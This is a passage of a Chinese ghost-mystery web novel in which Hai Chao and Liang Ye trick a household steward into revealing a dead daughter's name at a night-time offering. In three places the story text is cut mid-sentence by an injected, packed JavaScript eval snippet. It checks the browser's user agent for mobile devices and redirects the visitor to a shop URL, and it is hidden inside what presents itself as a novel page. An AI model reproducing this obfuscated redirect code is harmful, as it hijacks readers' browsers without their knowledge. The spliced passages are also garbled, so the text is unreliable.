李管事支支吾吾道:“不敢欺瞒仙师,老奴胆小怕事,伤天害理的事是不敢做的,不过前些年确实是……亏欠过别人……说不定就被怨上了……但是老奴没害过人,罪不至死啊……” 程道士点点头:“鬼是怨气所化,只知道找仇家报仇雪恨,既是报仇,又怎么会跟你讲道理,更不会给你升堂量刑。现在你那仇家已经盯上你,怨气大得很,看样子是不死不休了……” 李管事腿一软,顺势跪倒在地:“求仙师给老奴指条活路……” 程道士迟疑片刻,终于招架不住他连连哀求,从袖中取出一张符给他:“你将这辟邪符贴身带在身上,切勿遗失。” 李管事像是抓住了救命稻草,连连点头:“好,好。” 程道士又道:“符咒只能暂时保你性命,但治标不治本,那鬼魂怨念深重,看样子是不会善罢甘休的。” 李管事瞬间如坠深渊:“那可怎么是好……仙师帮人帮到底,救救老奴,老奴必定吃斋茹素,给仙师供奉长生牌位,日日叩拜……” 程道士一脸无奈:“贫道又不是图你这些,罢了罢了,这府上可有那人的旧物?” 李管事摇摇头,含糊道:“没留下什么……” 程道士:“能用旧物最好,没有也无妨。你回去用绢帛剪个人形,写上那人的姓名和生辰八字,和贫道给你的符一起装在红色锦囊里。 “然后准备点纸钱香烛,今夜……” 他觑着眼睛,掐着手指,口中喃喃,片刻后道:“今夜寅时四刻,去西北方找个僻静的地方化了,一边化一边叩首,向那冤亲债主诚心忏悔,求其原谅。最后把锦囊整个烧化了,庶几能化解仇怨。 “往后四时八节,都别忘了祭奠亡魂,日常也要多行善事,远离是非,莫损阴德。” 李管事小心翼翼把符揣进衣襟里,仔细放好:“自然自然,老奴胆小如鼠,哪里敢作恶呢。” 程道士笑了笑:“福生无量天尊,但愿李居士化险为夷,平安渡过此劫。” 李管事微微躬身,待他离去,方才掏出帕子抹了抹额头。 听那程道士的意思,得赶紧祭奠一番,可府里才出了事,人多眼杂,避人耳目可不容易,万一传到苏廷远耳朵里……苏廷远刚敲打过他,知道了又得发作一场,得找个隐蔽的地方。 他回头往后花园的方向望了一眼,越过重重的围墙,可以看见园子里黑黢黢的树影,随风轻轻摇摆。平日里看惯了不觉得,眼下看着却仿佛森森的鬼影。 李管事咽了口唾沫,有些发怵。 他摸摸胸口,也不知是不是一股暖意透过衣服传至手心,真有法力似的,叫他心下稍定。 横竖自己也不是罪魁祸首,李管事心说,要找也不该先找他…… 李管事一边琢磨一边沿着竹径走,那股紧张劲过去,他方才后知后觉地发现双腿如同灌了铅般沉重,腰背也酸疼不已。 年纪大了,大半夜的忙前忙后,一身老骨头都快散架了,得趁着天未亮赶紧回去躺一躺。 不一会儿到了三岔路口,往前穿过客房,可以抄近道回下人房,右手边的岔路通往后花园。 李管事抬脚便往前走,也不知怎的,后背上虚汗直冒,心脏仿佛吊在半空,总觉背后好像有什么跟着似的。 他快步走到竹林尽头,枝叶渐渐稀疏,云开了,明晃晃的月亮洒下凉水似的光,将一切照得分明,背后有东西的感觉越发强烈。 李管事一时没忍住,咬牙猛地一回头,空的。 他长出一口气,揩了把脸,正要继续往前走,冷不丁瞥见地上有异样。 他定睛一看,吓得一屁股跌坐在地上。 方才他看得分明,周遭只有他一个人,可月光照出的影子,赫然有两条。 李管事连滚带爬地站起来,哪里敢耽搁到天明,径直往库房奔去。好在府上最近怪事多,最不缺的是香烛纸钱。 …… 梁夜提灯在前面走,颀长而有些单薄的身影,披着一肩银霜,灯笼的光晕融在黑暗中。 海潮一声不吭,远远地坠在后面。 梁夜腿上有伤,走得本来就慢,还时不时地停下脚步,转身等她。海潮是个急性子,一点耐心很快磨没了,快步走上前去,打个呵欠道:“走快点,再磨蹭下去天都亮了,还睡不睡了?” 梁夜嘴角浮现浅浅的笑意,与她并肩走着:“方才害怕么?” 海潮一扬眉:“有什么好怕的。” 梁夜道:“你以前最怕这些,也怕黑。” 海潮心里忽然空落落的,嘴里有些发苦:“以前是以前。” 她捋了捋头发:“一个人早习惯了。” 阿娘刚死时,她夜里睡不安稳,醒来屋子里黑洞洞的,家什的黑影好像都变成了张牙舞爪的鬼怪,一有什么响动,她便瑟缩成一团,生怕有怪物来捉她。 梁夜只得睡在地上陪她,这么一睡就是几年,直到她十三岁,梁夜离开合浦去州学读书,她再害怕也只能一个人硬撑了。 “抱歉。”梁夜低声道。 “有什么好抱歉的,”海潮无所谓地笑笑,“你有好前程,倒是受我拖累,耽搁了几年。” 梁夜聪明绝顶,虽然母亲不许他读书认字,他还是偷偷学会了,不但能读,还学着自己作诗。 十来岁时有个贩珠的客商偶然见到他的诗,一时惊为天人,把那些诗稿买了下来,连同珍珠一起带到州府,梁夜神童的名声便传开了。 恰逢文坛泰斗杜尚书贬官岭南刺史,见到他的诗后,特地遣了人来村里找他,要举荐他上州学,他却一口回绝了。 海潮后来一琢磨,他那时候大约是想去的,只是受了她阿娘临终前托孤,不得不照顾她。 等她“长成”了,到了能下海采珠的年纪,他便迫不及待地走了。 “幸好你一举考中,”海潮知道怪不得他,但还是有些酸,“不然我罪过可大了。” 她瞟了梁夜一眼,只见他脸上笑意不见了,眼神也黯淡下来,顿觉自己没意思,说放下了,又翻这些旧账做什么呢? “都是些陈芝麻烂谷子的事,别说这些了。把眼前的事情对付过去,趁早出去要紧。” 等出去了,他当他的大官,她打她的鱼,这辈子都不用见了,干干净净才好。 梁夜沉默片刻:“先出去再说。” 两人一时无言,只默默走着。 走了约莫半刻钟,海潮忽然发觉这不是回客馆的路。 “我们……”她连忙改口,“你这是要去哪儿?” 梁夜道:“苏廷远的书斋。” 不是捉妖驱鬼么?去书斋做什么?海潮心里嘀咕,但不想显得太好奇,憋住了没问。 又走了约莫半刻钟,前院到了。 正院里门户紧闭,屋子里漆黑一片,只有廊下风灯发出昏黄的光芒。 走到书斋门口,海潮推了推门,锁住了。 她又查看了一下窗户,发现窗户并未闩紧,窗口不大,但她身条细,通过绰绰有余。(1) 不等梁夜说什么,她攀上窗前一株桂树,借了把力,毫不费力地从窗里钻了进去,打开门闩放梁夜进去。 屋子里漆黑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627090|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片,两人只有一盏灯笼照明,梁夜从灯笼里取了火,点燃书案上的油灯。 屋子里亮了些,海潮四下环顾,只见三面墙壁摆满书架,架子上层层叠叠堆满了书卷,简直像家小书肆。 海潮有些惊讶:“他一个买卖人,竟有这么多书!” 说着拈起一卷书书轴上挂的象牙签子看了看,一字一顿地念出来:“白,虎,通……是讲大虫的么?” 梁夜嘴角微弯:“是东汉章帝时一班经学大儒、博士、儒生在白虎观陈述见解,后将经义奏议集结成书。” 海潮听着就昏昏欲睡:“他一个买卖人怎会看这种书?八成买来摆设的吧。” 梁夜抽出两卷展开看了看,海潮凑头过去,只见上面密密麻麻都是朱红的小字批注,字迹颇为娟秀。 海潮:“这是买的人家旧书吧。” “或许。” 梁夜将书卷好放回原处,又换了个书架抽出几卷看了下,这架书几乎都是诗赋。 海潮见他东翻翻,西看看,也没个章法,百无聊赖地用手指划拉灯焰玩。 梁夜把所有书架都扫了一眼,又去案边箱子里取出几卷帐目扫了扫,仔细放回原处,方才提起灯道:“走吧。” “你要找的东西呢?” “已经找到了。” 海潮有些好奇,但他不主动说,她便也不问,让梁夜先从门里出去,闩好门,自己仍旧从窗户钻出去。 离开正院,梁夜也并不立即折返,反而不紧不慢,漫无目的地兜来转去,仿佛要把整个苏府逛个遍,偶尔遇见巡夜的奴仆,他们见他一身道服,气质清华,也不敢多问。 两人一路畅通无阻,穿过正院后的过厅,又往西折,穿过西边的小门,来到一处草木繁茂的所在。 这里似乎是个小花园,空气中弥漫着丹桂的香气,浓得仿佛能塞住人口鼻,桂树枝叶掩映着檐角和房舍的黑影。 园子显然已经荒废了一段时日,高高的杂草几乎将青石小径整个淹没。 梁夜慢慢沿着小径走着,一边不时用手中提灯这里照照,那里照照,一直走到个小庭院中。 庭院已经成了杂草的海洋,风吹过,倒伏的杂草像海浪一样轻轻涌动。 他们涉过草海,来到房舍门前。梁夜提灯一照,只见房门不但上了锁,门缝处还贴着张黄表纸,朱砂符文仿佛鲜血。 海潮心里的疑窦像发面团一样越胀越大,终于忍不住问:“这是什么地方?” 梁夜道:“西园,那老马夫出事的地方。” “你怎么知道是在这里?” “方才在苏廷远的书斋,看到了整座宅子的舆图,刚才一路走来,只有这处院落最像,看到门上的符咒便可以确定了。” 海潮想起李管事的话,心里不禁一阵恶寒。 那老马夫与众仆役打赌,在闹鬼的空屋子里住了一宿,成了疯子,从此只会说一个“脸”字。 那天夜里,这屋子里究竟发生了什么?他看到了什么?他所说的“脸”,是程瀚麟看到的那些吗? 白天听赵管事那么一说还好,半夜三更来到出事的地方,海潮胳膊上直冒鸡皮疙瘩。 梁夜却似一无所觉,用灯照着,细细端详门锁和符咒,甚至还上手摸了摸。 海潮头皮一阵发麻。 “走吧。”梁夜道。 海潮如闻天籁,要是梁夜提出要进屋看看,她也只好硬着头皮一起进去。 出了荒凉诡异的院子,海潮不自觉地加快脚步,直到将那股桂花的浓香远远抛在身后,她才终于松了一口气。 “你觉得赵氏夫妇如何?”梁夜忽然问道。 海潮又想起方才他看赵夫人的眼神,脸不由一拉:“不知道,我口无遮拦,只是个不懂事的野丫头,知道什么。” 梁夜侧过头看她:“生气了?” “狗才生气!”海潮活像只被踩了尾巴的猫,瞬间把先前告诫自己的话抛到了九霄云外。 “那就好。”梁夜收回视线,淡淡道。 海潮:“……” 更气了! 13. 噬人宅(九) “是装的。”梁夜道。 海潮正在气头上,不防他突然这么说,就好像从浪头上掉下来,有些发懵:“啊?” “方才那副样子,是我装的,”梁夜解释道,“那对夫妻有些古怪,我装出那副样子,是为了让他们轻视于我,放下戒心,关键时才能一击即中,看出他们真实反应。” 海潮用脚尖踢着路旁的小石子,嘟囔道:“跟我说这些做什么,莫名其妙。” “怕你误会。” “有什么好误会,”海潮抬头望望月亮,把一颗小石子踢得飞了起来,“说了你的事和我没干系。” “嗯,”梁夜道,声音轻柔低缓,几乎像是在自言自语,“可还是怕你误会。” 海潮心里涌起股说不清道不明的滋味,最后却又化作酸涩。 三年前的梁夜不会说这种话,三年后……他们中间隔山隔海,还隔了个宰相千金。 夜风吹拂她的脸颊,有什么东西冷了下来。 “你刚才说那对夫妻古怪,哪里古怪?”海潮道,“我看他们郎才女貌,挺恩爱。就是那夫人有些死心眼。” 他们疍家女儿和男人一样出海捕鱼、下水采珠,不讲究什么以夫为纲,他们家说起来还是阿娘做主的时候多。 “幸好苏廷远待她一心一意,遇上个轻易变心的……” 她意有所指地瞟了眼梁夜:“可有的她哭的。” “未必。”梁夜道。 “哎?” “苏廷远未必可靠。” 海潮挑挑眉:“我看他挺着紧妻子的么,又体贴又耐心。” 许是因为父亲的缘故,海潮对于珍惜妻子的男人,总是天然带了几分好感。 她瞥了梁夜一眼:“也不是生得俊的都是负心汉,我看他不像坏人。” 她其实并没有觉得苏廷远有多俊,他的皮相在一般男子中算得拔尖,但海潮是看着梁夜长大的,和眼前月亮一样的少年郎比起来,寻常的俊俏郎君都失色了。 梁夜微垂眼帘,不见愠色,但那身影无端清寂了几分,像是今夜的冷月终于将他浸透了。 “是好是坏我不能断言,但他说了谎。” “他什么时候说了谎?你怎么知道的?” 梁夜道:“因为他言行不一,有许多破绽。” 海潮回想了一下,实在想不出苏廷远的话里有什么破绽。 “反正我没看出来。”她道。 “你为何觉得苏廷远待他夫人好?”梁夜反问。 海潮一边回想一边说:“这不是明摆着的么?我们在院子里遇见他时,他多着急啊,还有我们去找他夫人问话的时候,他给夫人披衣、搀扶她的样子,一看就是平时做惯了的,说明他平常就是这么照顾他夫人的。” 梁夜:“那他为何要在前院书斋理账?” “怕不是账册太多太重了?” 海潮旋即摇了摇头,她自己也觉这理由站不住脚,苏廷远又不是她,账册再多再重,也自有成群的奴仆给他搬。 “或者是担心吵到夫人?再怎么小心,总有动静吧……”这也说不通,苏家正院又不是她家小茅屋,怕打扰到妻子睡觉,去厢房不就好了。 两个厢房都很宽敞,还用帷幔隔出了斋室,实在不必特地去书斋。 海潮有些泄气,嘟囔道:“说到底,他也不知道今晚他夫人会出事呀。” 梁夜摇摇头:“你可记得那婢女的话?他夫人数月来时常为噩梦惊醒。若换作是你,能否安心彻夜在前院理账?” 海潮心里已认同梁夜的说法,只是嘴上不愿承认:“这些都是你猜的。” 出乎意料,梁夜颔首:“确实,这些都是猜测。所以直到方才,我才能确定他在说谎。” “方才怎么了?” 他们明明什么都没做,只是绕着苏府走了一大圈。 “时间。”梁夜道。 “时间?” “方才我们从后院走到苏廷远的书斋,用了大约一刻钟。我们到时,刚好遇见苏廷远赶来。而我们听见惨呼后穿衣起床、在院中商议,去西厢叩门,在竹径遇见小僮李吉耽搁片刻,到正房时大约是半刻钟,与李管事交谈片刻后,遇见了赶来的苏廷远。” 海潮想了想:“这有什么不对?我们方才是慢慢走到书斋的,苏廷远知道夫人出事,当然走得比平时快啊。” “对,以苏廷远的年岁、身形,疾步奔来,大约只需半刻钟多一些。” “这不正好对上?” “可是,苏廷远在书斋,是听不见夫人叫声的。那么他是如何得知夫人出事的?” “我记得李管事说过,他发现夫人出事,立刻遣人去前院请主人……还是不对,”海潮明白过来,“就算那仆人不要命地奔过去,苏廷远知道消息后全速奔过来,也是一来一回,得一刻钟左右。” 事实和苏廷远的说辞,无论如何都对不上,那么唯一的解释,就是苏廷远在说谎。 可是真相如何,她还是一头雾水。 海潮撇撇嘴,嘟囔道:“好吧,算你对。” 梁夜眼中浮现笑意,便如一缕月光从层云的缝隙间透出来。 海潮定了定神,努力不去想那些有的没的:“那既然苏廷远在书斋听不见叫声,他怎么半刻钟就赶到了?” “因为当时他不在书斋。” “不在就不在,为什么要说谎?”海潮不解。 “想必有什么不可告人之事。” “那他会在哪里呢?” “那地方既能听见夫人惨呼,又可在半刻钟内赶到正院,并且僻静,无人经过。这些都相符的,除了我们所住的客院,便只有一处。” 他顿了顿:“马夫遇鬼的院子。” 海潮吃了一惊:“那院子不是荒了好久么?杂草都有半人高了。” 梁夜道:“你可记得门上贴的符?” 海潮点点头,她记得,黄表纸上写着朱砂符咒,好像血迹,大晚上看见怪瘆人的。 “据李管事所言,马夫出事是三个月前,当时请了道士来做法,将门贴上符封了起来,此后仆人们不敢再进去,院子便荒置了。 “贴了三个月的符咒,就算有廊庑遮蔽,不受风吹雨淋,多少也会褪色,变脆。且廊庑和门上尘埃不多,地上有凌乱足迹,显然最近有人踏足过。” 他接着道:“另外,苏廷远的袍摆有湿痕,但从书斋到这里都是青石路或木廊庑,并无沾染露水的地方。” 海潮心里已有八九分信了:“他大半夜的不睡觉,去个闹鬼的屋子做什么?” “这便是我们要弄清楚的事。” “说不定他有什么要紧事,不想告诉外人呢?也不能就说他对夫人的好都是装出来的吧。” “从那院子到正房有条捷径,苏廷远若是听见动静立刻赶来,理应比我们早到,甚至比李管事更早,”梁夜耐心地条分缕析,“可他却用了大约双倍的时间,不是慢慢踱过去,便是因某些缘故并未尽快赶到。” 他顿了顿:“无论如何,他对夫人,都不会像表面那般一往情深。” 海潮无法反驳,那声凄厉的惨叫现在想来仍然心有余悸,苏廷远身为丈夫,事先并不知道妻子会安然无恙,竟然没有立刻赶来,确实说不过去。 “还有一点,”梁夜接着说,“直到我们离开,他都没有去出事的卧房里看一眼。” 海潮经他一提醒才察觉,皱着眉道:“是不是因为要照顾夫人,走不开?” “夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁夜看着她道,原本黑沉沉的眼睛映着灯火,似有光华流转。 海潮嘟囔道:“大半夜的,你要是死了我也麻烦。” “嗯。” “我本来懒得管你。” “嗯。” “但是都说好了要一起想办法出去,我能怎么样?” “嗯。” “我不是那种说话不算话的人。” “我知道。” 海潮不再说话,两人默默穿过后花园,一直来到花园西北角。 西北角有个半亩见方的荷塘,荷花早开败了,池塘里只剩几茎残荷伫立在月下的池水中,像一群茫然的幽魂。 梁夜停下脚步,游目四顾,接着提灯走到一丛朱槿花背后,灭了灯。 梁夜轻扯了一下她的衣袖,低声道:“蹲下。” 海潮蹲了下来:“怎么了?” “嘘,别出声。”梁夜轻声道。 朱槿花丛只有小小一片,要隐藏身形,两人只能靠得极近,梁夜的呼吸近在咫尺。 海潮喉咙有些发紧,不自觉地挪动了一下腿脚,花叶便沙沙作声。 “别动,”梁夜隔着衣袖轻轻握住她手腕,“人来了。” 海潮连忙抽回手,却没有再动,透过枝叶的缝隙往外看。 远处果真有一星灯火,晃晃悠悠地飘浮在半空中。 不多时,灯火飘到了池塘对面,原来是个提灯的人,正从北面绕过池塘,向他们走来。 那人走到距他们五步开外的地方,海潮从那微微佝偻的后背和油汪汪的胖脸,认出来人的身份——是李管事。 李管事右手提灯,左肘挎着个小小的包袱。 他在池边站定,小心翼翼地东张西望一番,这才将灯放在地上,蹲下身,不知在捣鼓什么。 不一会儿,一簇火苗窜了起来,只见李管事对着火堆开始磕头。 海潮明白过来,他是在化纸钱。 只听李管事似唱似念:“小娘子,你莫怨老奴,老奴也是不得已……” 14. 噬人宅(十) 海潮和梁夜躲在朱槿花丛后,听李管事唱念:“小娘子心里不爽利,想拿老奴出气,就让老奴跌一跤,头顶生个恶疮,老奴没有半句话说……” 他一边念叨,一边从旁边包袱里扯出些什么,扔进火堆里。海潮明白过来,他这是在化纸钱呢! “老奴这把老骨头,半截入土的死老魅,也没什么活头,合该早点下去伺候小娘子,老奴只怕小娘子平白害人性命,损了阴德,老奴死不足惜,可不能拖累了小娘子……” 海潮只听他弯弯绕绕的,一时间竟不明白他究竟想死还是想活。 赵管事接着说:“小娘子,常言道人死债消,恩恩怨怨的都放下吧,老奴要是死了,这四时八节的,谁来供奉祭奠你们?只要小娘子饶了老奴这回,老奴定去大觉寺给你点长明灯,日日念经求福,求佛祖保佑你们下辈子托生到好人家……” 他说两句,从包袱里抓把纸钱投进火堆里,火焰越窜越高,包袱越来越薄,眼看着只剩一层皮了。 他往脸上揩抹一把,吸了吸鼻子,带着哭腔道:“小娘子要是实在过不去,非得找人偿命,那也别找错了人,冤有头债有主,老奴胆小怕事,但从头到尾没害过你……” 海潮听他拉拉杂杂说了一大堆车轱辘话,不由泛起困来,腿也有些发麻。 “要唱到什么时候啊?”她忍不住小声嘟囔。 “快了。”梁夜低声道。 就在这时,唱念声戛然而止。李管事站起身,丛衣襟里摸出一物。 梁夜和海潮对视一眼,几乎同时站起身。 枝叶发出沙沙声,李管事停下动作,警觉地看过来:“是谁?谁在那里?” 话音未落,两人已经走出花丛。 李管事脸上闪过惊恐,佯装镇定地扯出个比苦还难看的笑容:“这大半夜的,两位仙师在园子里做什么?” 梁夜道:“贫道也想知道,三更半夜李居士偷偷祭奠何人?” 海潮的目光落在李管事手上,只见他紧紧攥着什么东西。 “你手里有什么,给我们看看。” 李管事脸颊抽动了一下,连带着肥肉都抖了抖:“没……没什么……” 梁夜道:“可是你口中那位小娘子的姓名和八字?” 李管事悚然一惊,脱口而出:“你怎么知道?“ 他看看梁夜,又看看海潮,终于露出恍然之色:“好啊,你们诈我!” 说着忽然把手中之物往火堆中抛去。 然而海潮早防着他这一手,一个箭步跨过去,灵巧地一矮身,便将那物捞在手中,却是个小小的红绸布囊。 李管事不要命地扑上来,想将那布囊抢回去,海潮侧身一避,赵管事扑了个空。不等他稳住身形再次扑来,海潮轻巧地将布囊向梁夜一抛:“接住。” 话音未落,只见梁夜袍袖一掠,布囊已在他手中,就像从前无数次那样配合无间。 海潮有一瞬间的恍惚,随即一转身,将扑向梁夜的李管事擒住,反扭胳膊:“再不消停,骨头拧断了可别怪我!” 与此同时,梁夜从布囊里取出一张叠起的白纸,展开扫了一眼:“苏洛玉是何人?” 一听这名字,李管事停止了挣扎扭动,愤怒地瞪着梁夜:“你们到底是什么人?” 海潮笑道:“我们是道士呀。” “既是道士,只管捉妖驱邪就是,耍弄一个可怜老叟做什么?” 梁夜不理会他,将手中纸片往火堆里一扔,轻飘飘的纸片像只白蝶,很快被火舌吞噬。 “看生卒年月,这位小娘子是六年前死的,死时二十五岁,”他用平淡如水的语气道,“你称她小娘子,看来是苏家的女儿。” 李管事恨他们设局套自己话,再也没了先前的恭敬,语气尖酸:“那又如何?老家主有个女儿,郎君有个妹妹,兄妹手足和睦,只是小娘子命苦早逝罢了,这是什么奇事了?” 梁夜颔首:“的确,并非奇事。” 李管事狐疑地看着他。 “奇的是苏府闹鬼,李居士立刻认定是这位苏娘子怨魂作祟,不知是何故?” “对,”海潮经他一点,才发现自己差点叫李管事绕进去了,“你刚才还说,要是你死了,这苏娘子都没人供奉祭奠,她不是有亲阿兄在么?怎么会没人祭奠?” 李管事揉了揉鼻子,眼神躲闪:“郎君……他们兄妹之间,有些龃龉……” “什么龃龉,亲妹妹死了都不祭奠,我看是有仇吧!”海潮道,“哦——难怪一闹鬼你就想到是苏娘子作祟,是不是你们联手害死了她?” 李管事一叠声道:“不是不是,老奴可从没害过人!” 海潮“哼”了一声。 “苏娘子可曾嫁过人?”梁夜转而问道。 李管事愣了愣,点点头。 “既已出嫁,为何又与兄长同居共处?” “还不是怪那负心汉!”李管事脸上显出货真价实的不平之色,“小娘子识人不明,只看皮相,瞒着老家主,私下里与个儒生许了终身,谁知那人忘恩负义,只是图老家主的家财,用小娘子的嫁资进京打点……” 海潮瞥了眼梁夜,打断他:“他是不是高中进士,成了探花郎,转头就娶了大官女儿?” 李管事眼珠子转了转:“倒是没那么高才,只是中了明经,不过确实休弃了小娘子,飞上高枝娶了上司之女……小仙师怎么知道的?” 海潮瞟了眼梁夜,冷笑一声:“这种事还少么?明明是男人负心,到头来还要怪女人眼神不好,总之便宜都叫你们占了,错全是女人的,是不是?” “是男子的错,小仙姑教训的是……”李管事赔着小心,“小娘子走投无路,只得回到蜀州,投靠兄长。” “苏洛玉可有孩子?”梁夜问。 “没有,”李管事一口咬定,“小娘子是一个人回蜀州的。” 他又加上一句:“那负心汉要休了小娘子,还借口她无出哩!小娘子回蜀州后灰了心,也不想再嫁人,哪来的孩子。” 他觑了眼梁夜的神色:“小娘子是规矩人,大门不出二门不迈,最多去庙里拜拜,郎君治家也是很严的……” “既然她会投奔阿兄,他们兄妹感情不错咯?”海潮说。 “他们兄妹之间一向是极和睦的。” “那为什么妹妹死了都没人祭奠?” 李管事一时语塞,瞄了一眼慢慢熄灭的火堆,低声道:“小娘子自从被休弃,这里便有些糊涂……” 他用手指了指自己的脑袋:“后来又稀里糊涂做了错事,惹恼了郎君……” “是何错事?”梁夜问道。 “这……老奴也不知内情,只知道有一日郎君和小娘子关起门来吵了一架,然后郎君就将小娘子禁足了……” “这是什么时候的事?”梁夜问。 “应是……小娘子过身前两个多月……”李管事用衣袖揩着额上的汗。 梁夜看了他一眼:“苏娘子是怎么死的?” “是……是病故……” “什么病?” “天行,小娘子是害天行病(1)死的。” “死时还在禁足中?”梁夜问。 李管事犹豫着,似乎不知该点头还是摇头,半晌才心虚地说了声“是”。 “苏娘子病中可曾得到医治?” 李管事吞吞吐吐:“小娘子性子倔,人又糊涂了,郎君要她服软,就晾着她,等到察觉病重时,已经来不及了……” “到底犯了什么大错,要禁足两个月?”海潮道。 李管事支吾半天,哭丧着脸道:“两位行行好,别再难为老奴了,老奴只是个奴仆,他们兄妹关起门来说话,老奴怎么知道……” 无论海潮怎么逼问,李管事一张嘴还是紧得像死蚌一样,怎么也撬不开,她不由上火,用力拧住他的胳膊。 李管事疼得“哎哟哎哟”叫唤不停,发急道:“你们是道士还是土匪啊……” 海潮冷笑:“你管我是谁,不说就卸了你这条胳膊。” 李管事脑门上直冒冷汗,可还是一口咬定自己什么都不知道,到后来,连哀告声也没有了,只紧抿着唇一言不发。 梁夜道:“放他走吧。” 海潮也不能当真把人胳膊拧断,哼了一声松开手。 李管事如蒙大赦,一边连连后退,一边说:“两位行行好,今夜的事千万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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海潮接过,只见上面画着一串扭曲的符文。 “看。”梁夜道。 海潮低头一看,原本在梁夜脚下的影子,不知什么时候悄悄溜到了她这里。 “昨夜我和程瀚麟试了十几个鸟篆文符咒,大部分没什么用,偶有所获,这‘影’字便是其中之一。” 梁夜一边解释,一边将符在灯焰上点燃,随着符咒焚烧殆尽,那条影子也如墨迹如水,边缘渐渐模糊,色泽变得浅淡,直至完全消失。 这骗局说破了倒也不难,但李管事不是什么胸无城府的愣头青,要骗过他并不是那么容易的事,梁夜像个耐心又细致的猎人,把每一步都算得清楚,把人心拿捏得恰到好处,才能让李管事这种人上钩。 他是什么时候学会了这些?分别的这三年,他又经历了些什么?他当真失去了记忆么?可为什么又和三年前的少年郎如此不同? 海潮不禁望向他,他们正穿林而过,月光从行将凋零的稀疏枝叶间洒落下来,他的侧脸忽明忽晦。 似乎察觉到她在看他,梁夜脚步一顿,微微侧头:“怎么了?” 海潮立刻别过脸去:“没什么。” “在看什么?” “看你阴险狡诈!走吧!” 梁夜微微弯了弯嘴角。 这笑容甚是恼人,海潮一路上没再看他。 两人平安无事地穿过竹径,已能看见客院的灯火,看来程瀚麟和陆琬璎已经回来了。 海潮正要推开虚掩的篱门,忽然想起陆琬璎的嘱托,不觉将手伸进袖管中,摸到了那个光滑冰凉的小瓷瓶。 她把瓶子握在手心里,脚下踟蹰,瞥一眼梁夜的伤腿,又望向一边,欲盖弥彰地咳了两声:“你的腿,不会瘸了吧?当然瘸了也不干我事……” “只是皮外伤,”梁夜道,“不用担心。” “狗才担心你!”海潮瞪了他一眼,一鼓作气从袖中抽手,将攥得温热的瓷瓶往他身上一扔,“是陆姊姊好心,让我给你药。” 说完也不去看他反应,猛地推开门,闷头向正房跑去。 15. 噬人宅(十一) 李管事一口气跑到后花园门口,才想起自己把灯忘在了池边,化纸钱的灰堆也忘了掩埋。 他有心想折回去善后,又怕回头再撞见那两个道士,再生出什么事端,停在原地犹豫了会儿,一咬牙,不管了。 月光很亮,不用灯也能看清路,灰堆所在之处偏僻,罕有人经过,等天亮再寻机会去掩埋也不迟,就算有人发现了告诉苏廷远,自己咬死不承认也就是了。 今夜实在是太累了,他感觉自己的骨头仿佛由细丝牵在一起,稍一折腾就要散架。 李管事拖着沉重的双腿往住处走,心中仍旧懊恼不已,他不是三岁小童,怎么轻易就叫那伙道士骗了呢? 说到底还是那姓梁的太狡猾,又会使邪术,怪不得他。 也不知那伙人什么来头,无论如何,明日一早先将他们打发走,免得他们到苏廷远跟前说什么,他可就吃不了兜着走了。 至于赏钱,他们是别想了,要不是有所顾忌,非得找两个手力,把他们痛打一顿才解气! 想起方才的情形,李管事一阵后怕,还好他留了个心眼,化纸钱的时候没把关键说漏嘴,不然苏廷远非得抽了他的老筋不可。 一路思忖着,不知不觉到了住处。 他独居一个小院,远离其它下人房,虽说院子只有巴掌大,却也超出了下人的规格,不得不说,他如今的日子过得舒坦,苏廷远不管事,女主人长年生病,不管苏家还是田庄、铺子,都是他说了算。 这些年他悄悄藏了不少钱,等干儿子李吉再大些,他们就离开苏家,走得远远的,给小子娶一房乖顺的媳妇,置办些田产,低声下气地伺候人大半辈子,他也做几年富家翁享享福。 苏廷远未必不知道他在账目里动的手脚,不得不姑息他,还不是因为自己握着他的把柄。 这样下去不长久,苏廷远暂且用得着他,万一哪日用不着了…… 李管事一边盘算着,一边摸索钥匙,打开门。 屋子里照不进月光,黑灯瞎火的什么也看不见。 他跨过屋槛,摸索着墙壁慢慢往里走,床边小几上有油灯,在那之前,先得摸到橱子,取出火折子。 他一寸寸摸索着,胸腔被膨胀的美梦填满,恐惧和不安被挤到了角落。 这时候再想起小娘子,他不再畏惧,甚至觉得自己方才吓成那样实在荒谬。 小娘子是面团性子,活着时任由人捏圆搓扁,死了难道就厉害起来了?那样的人,就算成了鬼,恐怕也会被别的鬼欺凌吧。 他放心之余,又着实不落忍,不管怎么说,明日去趟佛寺,给她点盏长明灯……灯…… 想到这里,李管事忽然心头一跳,寒意从尾椎升起。 屋子只有巴掌大,他已经摸索着墙壁走了许久,怎么还没摸到橱子? 是太累了吧,李管事安慰自己,想起自己每次困倦时,时间总是忽快忽慢,时间不会变,屋子也不会变,只是他自己迷糊了而已。 然而心里还是慌乱起来,他加快速度,胡乱摸索一气,抹了白灰的墙壁很是光滑,光滑而冰冷,微微有些湿润。 是要落雨么?可刚才回来时,月亮明明很亮,天上没什么云。 李管事猛然缩回手,美梦骤然收缩,成了一个无关紧要的小点,心房再次被恐惧占满。 他终于明白心头的怪异感觉从何而来。 下人住的房间不能精工细作,墙上灰泥抹得很粗,看着不明显,摸起来却十分粗粝。 他颤抖着手,缓缓靠近墙壁,用指尖轻轻触摸,墙壁微微起伏,光滑细腻,有点像瓷器,不,不是瓷器,比瓷更软,温温的…… 他骇然抽回手,幅度大了些,手背冷不丁敲到了硬物,疼得他龇牙咧嘴。 是橱子。 